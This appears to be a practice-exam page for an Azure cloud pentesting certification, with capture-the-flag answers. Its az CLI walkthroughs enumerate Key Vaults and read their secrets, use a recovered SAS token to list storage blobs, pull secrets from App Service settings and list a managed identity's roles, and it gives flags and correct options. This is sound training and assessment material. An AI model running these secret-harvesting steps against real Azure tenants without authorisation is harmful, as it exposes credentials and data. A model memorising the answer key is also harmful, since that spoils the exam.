Practice Free CCPenX-Az Certified Cloud Pentesting eXpert - Azure Exam Questions Answers With Explanation

Flag{managed_identity_can_read_keyvault_secrets}

Detailed Solution:

List Key Vaults:

az keyvault list --output table

List secrets:

az keyvault secret list \

--vault-name kv-finance-prod \

--output table

Expected output:

Name Enabled

---------------- --------

db-password True

api-token True

internal-flag True

Retrieve the flag secret:

az keyvault secret show \

--vault-name kv-finance-prod \

--name internal-flag \

--query value \

--output tsv

Expected value:

Flag{managed_identity_can_read_keyvault_secrets}

Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

================

Detailed Solution:

From Q7, you should recover a limited-access SAS token or storage access information.

Set the storage account name and SAS token:

ACCOUNT= " excaliburstore "

SAS= " < recovered-sas-token > "

List containers:

az storage container list \

--account-name " $ACCOUNT " \

--sas-token " $SAS " \

--output table

The available container is:

sensitive-files

You can also confirm directly:

az storage blob list \

--account-name " $ACCOUNT " \

--container-name sensitive-files \

--sas-token " $SAS " \

--output table

Final Answer:

C. sensitive-files

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

Detailed Solution:

First identify the managed identity attached to the Web App.

az webapp identity show \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

You should see a user-assigned managed identity similar to:

{

" userAssignedIdentities " : {

" /subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity " : {

" clientId " : " cf3664d4-5cec-4feb-b0ef-88b7958809df " ,

" principalId " : " efe89e83-010f-42f6-9576-30531fa47af7 "

}

}

}

Now query the role assignments for the managed identity’s principal ID:

az role assignment list \

--assignee efe89e83-010f-42f6-9576-30531fa47af7 \

--all \

--output table

The returned custom role is:

AppService-Auditor

That makes option D correct.

Final Answer:

D. AppService-Auditor

================